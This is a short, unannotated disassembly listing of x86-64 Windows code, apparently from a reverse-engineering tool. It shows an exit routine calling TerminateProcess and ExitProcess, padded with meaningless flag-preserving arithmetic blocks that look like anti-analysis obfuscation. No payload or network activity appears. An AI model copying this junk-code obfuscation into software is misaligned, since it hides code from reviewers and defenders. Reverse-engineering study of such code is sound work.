jne 0x1400de2bd
popf
pop rax
jmp 0x1400de35b
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.14014b574
test al, al
je 0x1400de301
push rax
pushf
mov eax, 0x6c03233b
pushf
not eax
add eax, 0xe70a3310
xor eax, 0xffd872c6
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf964b585
xor eax, 0x89a63c42
rol eax, 0x54
popf
jmp 0x1400de290
push rax
pushf
mov eax, 0x84f1ad7f
pushf
not eax
add eax, 0xbfee8030
xor eax, 0xe2bdf953
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x85953470
xor eax, 0xcb5fba5b
rol eax, 0x86
popf
pushf
not eax
add eax, 0xbc4d8f62
xor eax, 0xb7cbd5b6
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x9c332083
xor eax, 0x84581664
rol eax, 0x45
popf
jmp 0x1400de290
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, ebx
jmp 0x1400de367
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, ebx
call fcn.1400d64d7
mov ecx, ebx
jmp 0x1400de377
call qword [sym.imp.KERNEL32.dll_ExitProcess]